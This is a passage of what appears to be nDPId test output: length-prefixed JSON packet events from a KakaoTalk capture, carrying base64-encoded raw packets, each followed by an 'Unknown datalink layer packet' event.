+00560{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2523,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":67908,"pkt_caplen":188,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":188,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKwAAEAAQBHZ9goYUrwByQGuKBxaBgCYyDKAbDORfrHMQ1SapdpBdf5FAi\/lGM+HkD1RV+wOBoYN+cEEXqJiHfz\/aj+vKaR2GszSRmmc8et1GsO5ehrhezaBn+rNi+7n\/UHFgj8gfze6K4EjnV1tsitenIIbusmG0B8\/q9cNwZN1JUFlkw4OLlv1473D4UB\/uQq4ZeWAp3xHoG31leHb5TJs2XtbY+vjo54="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2523,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00538{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2524,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":98853,"pkt_caplen":172,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":172,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJwAAEAAQBHaBgoYUrwByQGuKBxaBgCIcOGAbDOSfrHQA1Sapdrx72Jw9dFeai\/oCQs7Y30t8IEvzm1I9PE0pBD7mQD9LnzkMjS6kEHA\/KzVqyrHWZ0hkHVoVkSC+bXW0UMed3bMxXNSQJmOKjPQx2QyEfA1fP8DSuyoMzU5PM43ZjthRH9rOMIodUC\/bHRWWhcmjlQZW9Ws6Q=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2524,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00562{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2525,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":107184,"pkt_caplen":191,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":191,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAK8AAEAAHBH9ywHJAa4KGFK8WgYoHACby4yAbFEBi0JFGguGVRnsSzyJuEc1N8joxjP3VYzegR6Kiyql59EmZXclUy6JkwqZeLw7zS502QTcbLZbL292Dm\/1MJxR5qH7GaV9JDSpNALf+7+qAobJZrTqETBXIX\/TsoLV8eitW49AiO06g4+10GBc1l0I2i9xSzdLsQ8hyI8bRrBiuMTBOjM52vubT9hmk2WaZeo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2525,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00587{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2526,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":138404,"pkt_caplen":208,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":208,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMAAAEAAPxHa4goYUrwByQGuLDhaBACsRyCAbFEMi0JuWguGVRkKNfcZicImodKUCsPK+lqnuKycrjuMJaZuYbBvgNWi9k1+c1wG9f4FSZRBJNzmXYzTqAG701YxCvRKH3A2mVGNoJd9eDkmjq7+Qz90+YHsIHftdGMOXY9279x6y0Lfka79ZKyg3Rj3+Tu3lgaFLvUeZy\/stlewto6bxriOUfm6VZv0s++bq3nhmKig6S360\/MtIoHd\/zZHCQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2526,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00557{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2527,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":143134,"pkt_caplen":189,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":189,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAK0AAEAAPxHa9QoYUrwByQGuLDhaBACZWKOAbFENi0JyGguGVRnHAsvmWNBOTC34Dufv1BeWnM4eRwYu4Uu1kX5PqF3AXGjfsx6m8FAMN2TKmPkKWQdhkKkrfPFxXrazGJK2m0JdyFJqtWKToWZNfHMQIDGG3tUlue0BqqkkjsEutrrw+BOhKPzFW8tT5cPE8OBujDYZqXnDAEuGOZhrllbxbKktgArYaD\/5"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2527,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00538{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2528,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":159125,"pkt_caplen":174,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":174,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJ4AAEAAHRH83AHJAa4KGFK8WgQsOACK9ZiAbDOHfrGmw1SapdqZ7DpDYAPJi71TrnZcWl4ZUTqrkRUEgptgtrpMOA\/dVFqXIh9HC0nCO\/xgsQg3E7C1K3rF37XQgPO7R0uZeSF2YKcZQ1h7EQIEv9H67o2Y06rRAv2di4zX0fLc96pjCh49ZLX5VypBLsq120YlQ6TNjxXyhc9T"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2528,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00514{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2529,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":177039,"pkt_caplen":155,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":155,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIsAAEAAQBHaFwoYUrwByQGuKBxaBgB3npaAbDOTfrHTw1SapdpLnFm7nhgDWBKMSZFEEubFvUuYZ31EsL\/uLUsQlIuLuVbtxMh2MKVDXt9kzd6L8ZychPKpdk97NXYfYptBB\/VL2G3yHz3bclhfjLDGgASOTEYGTD0LRvEElKb0L2f3JwxHifA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2529,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00541{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2530,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":179145,"pkt_caplen":177,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":177,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKEAAEAAHRH82QHJAa4KGFK8WgQsOACNYSqAbDOIfrGqg1SapdoiJqHTYTmQeeCBt3Qyykj88js0zhR6mQzdA2NQfuQZDFXMq8C4Ii2fnBmNq+J0z7y87zC7\/BrCoQpT9VJ9c1YD2W1mQbyOlhIPOtcWdkCEGrNy61GXpXVklkhARnoHj0EykAgWuzQt0r8J+ZNa452L99AoHZZp2cTD"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2530,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00546{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2531,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":195105,"pkt_caplen":180,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":180,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKQAAEAAHBH91gHJAa4KGFK8WgYoHACQ3DGAbFECi0JI2guGVRn2xP7JqlHuxy25mNEUlOvyjYhssIJxB7chfzfXUZ2i5xEDXV\/hBDdRZArziNtJUBCmTfn8j\/1S78yGX0GyoSkp858Sf+gfumTrLVeU24IXNzEymJZXAGPwQFZohaodFv1RUTscr9jQU2XuSn5oQtYd7cerIc3XF9Uy3APz"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2531,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00574{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2532,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":212043,"pkt_caplen":199,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":199,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALcAAEAAHBH9wwHJAa4KGFK8WgYoHACjrCWAbFEDi0JMmguGVRm8OkZHQ+K8VE2MC2TQvKyF1X3nG\/8ML0EIHrgaplPEHXxKQWlGTQvWFKr6xMhgrUBTJXxsqHu2134kFKVl1xpnKAAHhwllC9Zxs22EnE7xAHCX1s\/UiSPbNUF8tYZCkYSEB+o8OdgZMRlzyTirYyQA9UX6D51bjqSBOG3dDNtYT2vAmOprAxu2DTjlaIEJBA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2532,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00492{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2533,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":217810,"pkt_caplen":137,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":137,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHkAAEAAQBHaKQoYUrwByQGuKBxaBgBlJ1WAbDOUfrHXg1Sapdq\/+kHvxxrftZXWAFo3dyHYMshELR6dk1kmJhwjjV\/HtqlWQpTg78SI5AvIosrKMvH+QFUNLeBeVAqSuYky3IFV+5\/Lv6cbt5wvaKqDR\/wdkZ8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2533,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00541{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2534,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":239600,"pkt_caplen":177,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":177,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKEAAEAAPxHbAQoYUrwByQGuLDhaBACN5BSAbFEOi0J12guGVRlptj6C47q42A0lEUxdJNhr+cGAiaIC\/AKAWqtPDZ9mT3pTYPUoGipPE2RyHgzMNsOVeRuGs+Fa8GSbgdLej3Wr8OxaoRZqfgq5k6JPhIvhAQJ7PjvwRyF2FEy6bhjOOliZiUlrMDUNE9MnwlFnvv6H3BrdgX3uCrlL"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2534,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00547{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2535,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":247626,"pkt_caplen":180,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":180,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKQAAEAAHRH81gHJAa4KGFK8WgQsOACQ0JmAbDOJfrGuQ1SapdrFVSNn5UH3ywm7uvR\/e6+9c20NFNs4Ab9TCBVICbSkBPILf49xAPderPb8cpvUqS2YfqMOELpQ2Qt6KbzAbh2qX5M\/dxPSWz9oNe6tPV2kqAzabQxafRHCfl3\/01UpUvsFm7M4PSPNjTqZ6rTXhhsWpEm4OM3wNtMQ8iUX"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2535,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00570{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2536,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":251532,"pkt_caplen":197,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":197,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALUAAEAAHBH9xQHJAa4KGFK8WgYoHAChqQGAbFEEi0JQWguGVRl3OJ20mhZJB\/bzWs6I8wbnxY4XhZCwKXPFMupAKpluO4y+rVBfv7588z9NAIzmW+43pDcZ+roQLwrLQfZSpFhEWlsep2oz5oaKN7BZCJ2e0sVD\/rTHjpauaEQKT1S3+4BkrbrNtlFx1IeS5YdNaiMiOLIPsUl5d9Z5x8bjzwDpLluMdpgZbkQBGX2xDwc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2536,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00575{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2537,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":268988,"pkt_caplen":199,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":199,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALcAAEAAHRH8wwHJAa4KGFK8WgQsOACj7saAbDOKfrGyA1Sapdp\/ee01sGDYlVTvqoOHjGqLB8r4UOrigoIYcorAw0oayzNEpUJAPtQ0WEtaVa4Ifp9\/MsYpweDZfmqvTLF1wec3XQ1z7tvJj0l5X75kLu1dhxkUN6Uf1WAf4IGnMGyW9\/vi1oOKMDAzyT7LP1NvHO9ZOtaOGq82ae2h+mIJSevFo1dhcB63fAkqNISsmanPRg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2537,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00540{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2538,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":279242,"pkt_caplen":177,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":177,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKEAAEAAHRH82QHJAa4KGFK8WgQsOACNUs2AbDOLfrG1w1SapdrXnBoWl4o8j7nzHCptGEWRA6H+xAasbgF6KFmUPL9ubI+m2c6c5vLfxccHckeIacALvYeswQkIlIcY+hPHlKBqwyWIAHogEv0nhH+8y5wlVN0j0Okoaa83OIZA964vThQgwqEaCuW3pbGUaWnEcwahRNfVPlj4KK1u"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2538,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00583{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2539,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":299292,"pkt_caplen":206,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAL4AAEAAHBH9vAHJAa4KGFK8WgYoHACqstmAbFEFi0JUGguGVRmw3Cb0lQUKR4CG3tnELJ3Z0Q6F8rzpVhD13GcwSEdlmCozi3Zd\/ox1vhowwHhTtHCVuOifdszRJO49PGV2KOeHvvoCcrmuxDzXuC7CnP+cOjMGhgnSpugSZyRjlMhX6h8\/HfKjBAnillYBuqTjXmz3+Og3zUFAf\/OeER5Bd+5PqIRlBCDwtd6y5UWHLjgHZMAwSkhMZyU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2539,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00524{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2540,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":305823,"pkt_caplen":165,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":165,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJUAAEAAQBHaDQoYUrwByQGuKBxaBgCBotSAbDOVfrHbQ1SapdrVjpnP0wKJ3KDpeq8lbPc92vZ+TWtGFQHWd1I+Ws4XejwhCOF5rVupzl8POfsc0cfIf1J0wXaPYsBTC+xkKYjKYt6Wcf9gMQ5QEXGxvPhzQ9YyN+5aBFNZi1L0cCEJcgbBHqjBOTqRH8J3GpkT"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2540,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00544{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2541,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":315497,"pkt_caplen":177,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":177,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKEAAEAAHBH92QHJAa4KGFK8WgYoHACN9xSAbFEGi0JX2guGVRlzglOVU\/d++BqaMLUnTgJrZyX3Vx0\/TgopYac3wtzmOGCxBcGlpWpsFrgn3MT0jBTlGR6+XcyQhw6FQ28HCeEbijf\/gC2htn8e910MewvmgcitfFO1ilb8Zh6YcCFnLRygxnzf792af3u\/ydgi9Oqz3GEC5ThAcWYd"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2541,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00519{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2542,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":337958,"pkt_caplen":158,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":158,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAI4AAEAAPxHbFAoYUrwByQGuLDhaBAB63fCAbFEPi0J5mguGVRmK+cOCCbH859vi4c9Di\/eY87gu6mpdlyeK2lJEEu9d\/Xujo7UzBGApQFzxINyEVLU9bMNjp05TXyJ5L+MaHL8HOPHCg\/Hlm8fD5XKgB8+toaOV0NfFENFq0sZnJHOCds3DP+IwvX8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2542,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00607{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2543,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":341071,"pkt_caplen":223,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":223,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAM8AAEAAPxHa0woYUrwByQGuLDhaBAC7eGOAbFEQi0J9WguGVRlMtv7kFuNJERUUHNHDMxspiFITKgHN8uV5vjiPqUJY\/DCUWttRlqzps9yQOCs8uxntI91Qbc8N0dr6WLQlWhwo8e56jZaM6nPdD0bhP3DjkzkzXTv41EMyr9BdCTn2pzaSfJzDSeZnRUL4IJ7Ude65YtxsGjDOHRSk\/OXcflbczk13kIquP9NkF222jW5TQHcLhfIh6DmxD16wSzG2HwZ5yDhy8eGp\/w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2543,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00561{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2544,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":343390,"pkt_caplen":190,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":190,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAK4AAEAAHRH8zAHJAa4KGFK8WgQsOACa9oKAbDOMfrG5g1Sapdp9UmwLvjWg9vHaBpOnFX8TGRdSaZqE6KbeVj8W8twKM6K69mYBwIU4No0k6PDUqad56H2Z3+WEm\/Vd6D8HT25oPY196rnU2vhqNm7J9jSo7awBWPQ9+IbL3yliCtBPCcKdmutOu4qunQLlSrqD+a7XOAOgzcTKwrfslt+P5JqU4xB8sbV8SQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2544,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00545{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2545,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":349036,"pkt_caplen":178,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":178,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKIAAEAAHRH82AHJAa4KGFK8WgQsOACOioGAbDONfrG9Q1SapdqirIw3z7DmcVm0LZAwWuTW3i+FWvsSpByzHPnBni0Rabln\/QVKopN+USp2AnhKp23drG9+8u1msElOrMmJUvRFtQHt8vto3jvzRudC5z8Pf2SpOF1jEaUIpTpQmsA7aaTHV1pWtkcbR7n+10n14761reRz+tIFS4KhjQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2545,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00515{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2546,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":364508,"pkt_caplen":154,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":154,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIoAAEAAQBHaGAoYUrwByQGuKBxaBgB2QKmAbDOWfrHfA1Sapdp7opMnMlg6aKYNHfum5YuHt3Ms3VdsGvUFij4xEdIKXjQIxe9\/x8F4GSL9ToKrHIK8ZMSZC7DrSagEDAhKtvaHHfyj\/wlBJ5zNpAnT0o7jl728s2xKQ\/cysA3GXiQsUHAq5g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2546,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00570{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2547,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":379187,"pkt_caplen":198,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":198,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALYAAEAAHBH9xAHJAa4KGFK8WgYoHACihouAbFEHi0JbmguGVRlO1UlvL\/GFQKSUD12ayIVEIGFU73oU27vwDIAVBWVFofIUAmL1ITS+mkELZTIA5CHCGKonoFqzXoJcng5uwJmy1kad52Di\/Fw0VqRylQnQCWdLLpQvADNofFzLQ6CEc9viQJ99nMnvbgUZdzMLrsqHeAX4QTImob6XM4QbLTiWcp5FkFluIgJUJxHyanJH"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2547,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00574{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2548,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":379309,"pkt_caplen":199,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":199,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALcAAEAAHBH9wwHJAa4KGFK8WgYoHACjsbSAbFEIi0JfWguGVRl+SCjYpvOcLa4O8MY9IeT1EVZF+OSsHy3Ty2gBr8GhW2yVOr5U8vwiuMoSOfZmJQulsTCe4a80sDxlp59vjdZawPGr07490VaRNNmOdNHWxPXwX0bGAEtkekjUuCWhHeOOupcjthRgDnyhi\/dfXB2kxeOptEdikBxxJL2KZl5bBQRwK6n7OKW3Ir4p\/Qu39w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2548,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00555{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2549,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":388648,"pkt_caplen":186,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":186,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKoAAEAAHRH80AHJAa4KGFK8WgQsOACWESSAbDOOfrHBA1SapdosNS2h+ky\/bgjOr76J4aXdKODoq3DusdCf0NeXKFbMkP2hpF\/uQcADRdOv9YRm4Nw3I7tN2JvF8R\/Z7rQ85IgSjOuhQ04SSND5y3fX84bcWDI55+EYO0mhG+Sm5s+EcNBgAYDZfupzMHVzEDSDd2PRVXEUoYZsjUisq3pM3QgQ6RRe"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2549,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00545{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2550,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":399176,"pkt_caplen":177,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":177,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKEAAEAAHRH82QHJAa4KGFK8WgQsOACNvoeAbDOPfrHEw1SapdrpeTS1KJWf8lr+I0zwr\/rBH3fK3HN9WnknfuYYsOrmnD0Q1y\/RnaWFHQJQq0xfB\/ZJslNX1DclWXF1d1GVNnqW6Tmwf9QpPWTFJA4WQN9QCD+hW\/oBaklCy2hNn2i\/WGgxDmF0vbardfE3VrbOUgtjh3zZmyyvwHCi"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2550,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00617{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2551,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":436988,"pkt_caplen":230,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":230,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAANYAAEAAPxHazAoYUrwByQGuLDhaBADCET+AbFERi0KBGguGVRlo5OJPBxs2VZLpofB4wWN0IlSxDsak7K7s+7XZwPeGuL3wx6eGUwx2RpZkQFRAMGYhHucQD7THtD7f7iIwIifhEvN6HnxnnmJAMqCrJwxhj2yjvO+ilhPjAhSznYoRxTdT2ckUjJDKvwnjYyRIwoOl8\/\/66\/5enTRze6\/\/JYRMPokjBTLglrXXuW7t2ibzXxhkfuYQ5itUiapX1lbdDqr5tWBmutIi5qMz2uL+gSQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2551,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 